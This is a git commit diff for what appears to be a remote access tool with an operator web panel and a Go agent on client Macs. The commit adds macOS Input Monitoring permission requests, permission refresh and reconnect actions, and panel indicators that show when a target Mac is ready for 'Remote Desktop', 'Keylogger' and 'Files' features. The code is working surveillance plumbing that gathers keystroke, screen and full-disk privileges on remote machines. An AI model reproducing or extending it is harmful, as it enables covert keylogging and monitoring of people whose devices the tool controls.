more mac imporvements and refresh

This commit is contained in:
test
2026-06-04 20:54:33 -05:00
parent a35de5d129
commit 23158f3b83
12 changed files with 195 additions and 18 deletions
+10 -2
View File
@@ -2281,6 +2281,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
case "darwin_request_permissions":
payload, _ := envelope["payload"].(map[string]interface{})
var requested []string
refreshOnly, _ := payload["refreshOnly"].(bool)
if raw, ok := payload["permissions"].([]interface{}); ok {
for _, item := range raw {
if key, ok := item.(string); ok && key != "" {
@@ -2288,9 +2289,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
}
}
perms := sysinfo.RequestDarwinPermissions(requested)
perms := sysinfo.DarwinPermissionsRefresh()
if !refreshOnly {
perms = sysinfo.RequestDarwinPermissions(requested)
}
missing := make([]string, 0)
for _, key := range []string{"accessibility", "screenRecording", "fullDiskAccess"} {
keys := []string{"accessibility", "screenRecording", "fullDiskAccess"}
if !refreshOnly {
keys = append(keys, "inputMonitoring")
}
for _, key := range keys {
if perms == nil || !perms[key] {
missing = append(missing, key)
}
@@ -22,6 +22,16 @@ func Elevation() string {
}
func DarwinPermissions() map[string]bool {
return map[string]bool{
"screenRecording": darwinScreenRecordingPermission(),
"accessibility": darwinAccessibilityPermission(),
"inputMonitoring": darwinInputMonitoringPermission(),
"fullDiskAccess": darwinFullDiskAccessPermission(),
"root": os.Getuid() == 0,
}
}
func DarwinPermissionsRefresh() map[string]bool {
return map[string]bool{
"screenRecording": darwinScreenRecordingPermission(),
"accessibility": darwinAccessibilityPermission(),
@@ -38,6 +48,7 @@ func RequestDarwinPermissions(requested []string) map[string]bool {
if len(want) == 0 {
want["accessibility"] = true
want["screenRecording"] = true
want["inputMonitoring"] = true
want["fullDiskAccess"] = true
}
@@ -47,6 +58,10 @@ func RequestDarwinPermissions(requested []string) map[string]bool {
if want["screenRecording"] {
darwinRequestScreenRecordingPermission()
}
if want["inputMonitoring"] {
darwinRequestInputMonitoringPermission()
_ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_ListenEvent").Start()
}
if want["fullDiskAccess"] {
_ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Start()
}
@@ -14,6 +14,10 @@ func DarwinPermissions() map[string]bool {
return nil
}
func DarwinPermissionsRefresh() map[string]bool {
return nil
}
func RequestDarwinPermissions(_ []string) map[string]bool {
return nil
}
@@ -20,6 +20,10 @@ func DarwinPermissions() map[string]bool {
return nil
}
func DarwinPermissionsRefresh() map[string]bool {
return nil
}
func RequestDarwinPermissions(_ []string) map[string]bool {
return nil
}
@@ -66,6 +66,10 @@ func DarwinPermissions() map[string]bool {
return nil
}
func DarwinPermissionsRefresh() map[string]bool {
return nil
}
func RequestDarwinPermissions(_ []string) map[string]bool {
return nil
}
@@ -3,11 +3,12 @@
package sysinfo
/*
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation -framework IOKit
#include <ApplicationServices/ApplicationServices.h>
#include <CoreFoundation/CoreFoundation.h>
#include <CoreGraphics/CoreGraphics.h>
#include <IOKit/hidsystem/IOHIDLib.h>
#include <stdbool.h>
extern bool CGPreflightScreenCaptureAccess(void) __attribute__((weak_import));
@@ -22,6 +23,10 @@ static int checkScreenRecordingPermission(void) {
return CGPreflightScreenCaptureAccess() ? 1 : 0;
}
static int checkInputMonitoringPermission(void) {
return IOHIDCheckAccess(kIOHIDRequestTypeListenEvent) == kIOHIDAccessTypeGranted ? 1 : 0;
}
static int requestAccessibilityPermission(void) {
const void *keys[] = { kAXTrustedCheckOptionPrompt };
const void *values[] = { kCFBooleanTrue };
@@ -42,6 +47,10 @@ static int requestScreenRecordingPermission(void) {
if (CGRequestScreenCaptureAccess == NULL) return checkScreenRecordingPermission();
return CGRequestScreenCaptureAccess() ? 1 : 0;
}
static int requestInputMonitoringPermission(void) {
return IOHIDRequestAccess(kIOHIDRequestTypeListenEvent) == kIOHIDAccessTypeGranted ? 1 : 0;
}
*/
import "C"
@@ -53,6 +62,10 @@ func darwinScreenRecordingPermission() bool {
return C.checkScreenRecordingPermission() == 1
}
func darwinInputMonitoringPermission() bool {
return C.checkInputMonitoringPermission() == 1
}
func darwinRequestAccessibilityPermission() bool {
return C.requestAccessibilityPermission() == 1
}
@@ -60,3 +73,7 @@ func darwinRequestAccessibilityPermission() bool {
func darwinRequestScreenRecordingPermission() bool {
return C.requestScreenRecordingPermission() == 1
}
func darwinRequestInputMonitoringPermission() bool {
return C.requestInputMonitoringPermission() == 1
}
@@ -10,6 +10,10 @@ func darwinScreenRecordingPermission() bool {
return false
}
func darwinInputMonitoringPermission() bool {
return false
}
func darwinRequestAccessibilityPermission() bool {
return false
}
@@ -17,3 +21,7 @@ func darwinRequestAccessibilityPermission() bool {
func darwinRequestScreenRecordingPermission() bool {
return false
}
func darwinRequestInputMonitoringPermission() bool {
return false
}
+38
View File
@@ -2613,6 +2613,44 @@ tbody tr:hover {
.cv-perm-chip:hover { filter: brightness(1.08); }
.cv-perm-chip.is-ok { background: rgba(16, 185, 129, 0.1); color: #86efac; border-color: rgba(16, 185, 129, 0.25); }
.cv-perm-chip.is-missing { background: rgba(244, 63, 94, 0.1); color: #fda4af; border-color: rgba(244, 63, 94, 0.25); }
.cv-perm-freshness {
font-size: 10px;
color: var(--cv-text-dim);
white-space: nowrap;
}
.cv-perm-readiness,
.cv-perm-actions {
display: inline-flex;
align-items: center;
gap: 5px;
flex-wrap: wrap;
}
.cv-perm-readiness {
width: 100%;
}
.cv-ready-chip,
.cv-perm-tool {
display: inline-flex;
align-items: center;
gap: 5px;
min-height: 22px;
padding: 2px 7px;
border-radius: 4px;
border: 1px solid transparent;
font-size: 11px;
white-space: nowrap;
}
.cv-ready-chip.is-ok { background: rgba(16, 185, 129, 0.08); color: #86efac; border-color: rgba(16, 185, 129, 0.2); }
.cv-ready-chip.is-warn { background: rgba(245, 158, 11, 0.1); color: #fcd34d; border-color: rgba(245, 158, 11, 0.24); }
.cv-perm-tool {
cursor: pointer;
font: inherit;
appearance: none;
background: rgba(148, 163, 184, 0.08);
color: var(--cv-text);
border-color: rgba(148, 163, 184, 0.18);
}
.cv-perm-tool:hover { background: rgba(148, 163, 184, 0.14); }
.cv-group {
display: inline-flex;
+34 -3
View File
@@ -184,12 +184,13 @@ function macPermissionLabels(keys = []) {
const labels = {
accessibility: "Accessibility",
screenRecording: "Screen Recording",
inputMonitoring: "Input Monitoring",
fullDiskAccess: "Full Disk Access",
};
return keys.map((key) => labels[key] || key).join(", ");
}
async function requestMacPermissions(clientId, permissionKey = "") {
async function requestMacPermissions(clientId, permissionKey = "", { refreshOnly = false } = {}) {
if (!clientId) return;
if (!isClientOnline(clientId)) {
alert("Client is offline. macOS permissions can only be requested while the client is online.");
@@ -200,14 +201,20 @@ async function requestMacPermissions(clientId, permissionKey = "") {
return;
}
const requested = permissionKey ? [permissionKey] : ["accessibility", "screenRecording", "fullDiskAccess"];
const requested = permissionKey
? [permissionKey]
: refreshOnly
? ["accessibility", "screenRecording", "fullDiskAccess"]
: ["accessibility", "screenRecording", "inputMonitoring", "fullDiskAccess"];
const label = macPermissionLabels(requested) || "macOS permissions";
if (!refreshOnly) {
const proceed = confirm(
`Request ${label} from ${clientId}?\n\n` +
"This can show a macOS prompt on the target Mac. " +
"Full Disk Access must be granted in System Settings; the agent will open the Privacy pane when possible.",
);
if (!proceed) return;
}
try {
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, {
@@ -216,6 +223,7 @@ async function requestMacPermissions(clientId, permissionKey = "") {
body: JSON.stringify({
action: "darwin_request_permissions",
permissions: requested,
refreshOnly,
}),
});
const data = await res.json().catch(() => ({}));
@@ -225,7 +233,9 @@ async function requestMacPermissions(clientId, permissionKey = "") {
}
const missing = Array.isArray(data.missing) ? data.missing : [];
const stillMissingRequested = missing.filter((key) => requested.includes(key));
if (stillMissingRequested.length) {
if (refreshOnly) {
window.showToast?.("macOS permissions refreshed", "success", 2500);
} else if (stillMissingRequested.length) {
alert(`Permission request completed, but still missing: ${macPermissionLabels(stillMissingRequested)}`);
} else {
alert(`${label} is granted.`);
@@ -236,6 +246,25 @@ async function requestMacPermissions(clientId, permissionKey = "") {
}
}
async function applyMacPermissionChanges(clientId) {
if (!clientId) return;
if (!isClientOnline(clientId)) {
alert("Client is offline.");
return;
}
const proceed = confirm(
`Reconnect ${clientId} to apply macOS permission changes?\n\n` +
"The client will reconnect and report fresh permission state.",
);
if (!proceed) return;
markManualDisconnect(clientId);
const ok = await sendCommand(clientId, "reconnect");
if (ok) {
window.showToast?.("Reconnect requested", "success", 2500);
setTimeout(() => loadWithOptions({ force: true }), 1200);
}
}
window.__uninstallingClientIds = window.__uninstallingClientIds || new Set();
function flipFallAndRemove(clientId, { delayMs = 0 } = {}) {
@@ -910,6 +939,8 @@ function initializeRenderer() {
requestThumbnail,
pingClient: (id) => sendCommand(id, "ping"),
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }),
onMacPermissionApply: (id) => applyMacPermissionChanges(id),
userRole: currentUser?.role,
getServerVersion: () => currentServerVersion,
getDisplayFields: () => displayFields,
+43 -2
View File
@@ -208,6 +208,7 @@ function isMacClient(client) {
const MAC_PERMISSION_LABELS = [
["accessibility", "Accessibility"],
["screenRecording", "Screen Recording"],
["inputMonitoring", "Input Monitoring"],
["fullDiskAccess", "Full Disk Access"],
];
@@ -234,12 +235,36 @@ function macPermissionDetailHtml(client) {
if (!state) return "";
const ok = state.missing.length === 0;
const summary = ok ? "All required permissions granted" : `Missing: ${state.missing.map((item) => item.label).join(", ")}`;
const granted = Object.fromEntries(state.items.map((item) => [item.key, item.granted]));
const featureItems = [
{
label: "Remote Desktop",
ready: granted.screenRecording && granted.accessibility,
missing: ["screenRecording", "accessibility"].filter((key) => !granted[key]),
},
{
label: "Keylogger",
ready: granted.accessibility && granted.inputMonitoring,
missing: ["accessibility", "inputMonitoring"].filter((key) => !granted[key]),
},
{
label: "Files",
ready: granted.fullDiskAccess,
missing: granted.fullDiskAccess ? [] : ["fullDiskAccess"],
},
];
const labelFor = (key) => MAC_PERMISSION_LABELS.find(([k]) => k === key)?.[1] || key;
const chips = state.items.map((item) => `
<button type="button" class="cv-perm-chip ${item.granted ? "is-ok" : "is-missing"}" data-mac-permission-key="${escapeHtml(item.key)}" title="Request ${escapeHtml(item.label)} permission">
<button type="button" class="cv-perm-chip ${item.granted ? "is-ok" : "is-missing"}" data-mac-permission-key="${escapeHtml(item.key)}" title="${escapeHtml(item.key === "inputMonitoring" ? "Request Input Monitoring permission; reconnect required after granting" : `Request ${item.label} permission`)}">
<i class="fa-solid ${item.granted ? "fa-check" : "fa-xmark"}"></i>${escapeHtml(item.label)}
</button>
`).join("");
return `<div class="cv-field cv-field-wide cv-field-macperms"><span class="cv-field-label">macOS Permissions</span><span class="cv-field-value cv-perm-list"><span class="cv-perm-summary ${ok ? "is-ok" : "is-warn"}">${escapeHtml(summary)}</span>${chips}</span></div>`;
const readiness = featureItems.map((item) => `
<span class="cv-ready-chip ${item.ready ? "is-ok" : "is-warn"}" title="${escapeHtml(item.ready ? "Ready" : `Missing ${item.missing.map(labelFor).join(", ")}`)}">
<i class="fa-solid ${item.ready ? "fa-circle-check" : "fa-circle-exclamation"}"></i>${escapeHtml(item.label)}
</span>
`).join("");
return `<div class="cv-field cv-field-wide cv-field-macperms"><span class="cv-field-label">macOS Permissions</span><span class="cv-field-value cv-perm-list"><span class="cv-perm-summary ${ok ? "is-ok" : "is-warn"}">${escapeHtml(summary)}</span>${chips}<span class="cv-perm-freshness">Checked ${escapeHtml(formatAgo(client.lastSeen))}; Input Monitoring updates after reconnect</span><span class="cv-perm-readiness">${readiness}</span><span class="cv-perm-actions"><button type="button" class="cv-perm-tool" data-mac-permission-refresh="1" title="Re-check permissions except Input Monitoring"><i class="fa-solid fa-rotate"></i>Refresh</button><button type="button" class="cv-perm-tool" data-mac-permission-apply="1" title="Reconnect agent to apply newly granted permissions"><i class="fa-solid fa-power-off"></i>Apply</button></span></span></div>`;
}
function shortOsLabel(osRaw = "") {
@@ -282,6 +307,8 @@ export function createRenderer({
requestThumbnail,
pingClient,
onMacPermissionRequest,
onMacPermissionRefresh,
onMacPermissionApply,
userRole,
getServerVersion,
getDisplayFields,
@@ -390,6 +417,20 @@ export function createRenderer({
return;
}
if (e.target.closest("[data-mac-permission-refresh]")) {
e.preventDefault();
e.stopPropagation();
if (onMacPermissionRefresh) onMacPermissionRefresh(clientId, card);
return;
}
if (e.target.closest("[data-mac-permission-apply]")) {
e.preventDefault();
e.stopPropagation();
if (onMacPermissionApply) onMacPermissionApply(clientId, card);
return;
}
const copyBtn = e.target.closest(".copy-id-btn");
if (copyBtn) {
e.stopPropagation();
@@ -114,6 +114,7 @@ export async function handleClientCommandRoute(
const requested = Array.isArray(body?.permissions)
? body.permissions.filter((p: unknown) => typeof p === "string").slice(0, 8)
: [];
const refreshOnly = body?.refreshOnly === true;
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
@@ -123,7 +124,7 @@ export async function handleClientCommandRoute(
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
});
target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested } } as any));
target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested, refreshOnly } } as any));
metrics.recordCommand("darwin_request_permissions");
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "darwin_request_permissions" });
@@ -134,8 +135,13 @@ export async function handleClientCommandRoute(
try { detail = JSON.parse(result.message); } catch { detail = {}; }
}
if (detail.permissions && typeof detail.permissions === "object" && !Array.isArray(detail.permissions)) {
target.permissions = detail.permissions;
upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: target.lastSeen, online: target.online ? 1 : 0 });
const checkedAt = Date.now();
target.permissions = {
...(target.permissions || {}),
...detail.permissions,
};
target.lastSeen = checkedAt;
upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: checkedAt, online: target.online ? 1 : 0 });
}
return Response.json({
ok: result.ok,
@@ -327,7 +327,8 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
switch (payload.type) {
case "desktop_start":
if (!state.isStreaming) {
if (target.os === "darwin" && target.permissions) {
const targetOs = String(target.os || "").toLowerCase();
if ((targetOs.includes("darwin") || targetOs.includes("mac")) && target.permissions) {
const missing: string[] = [];
if (!target.permissions.screenRecording) missing.push("screenRecording");
if (!target.permissions.accessibility) missing.push("accessibility");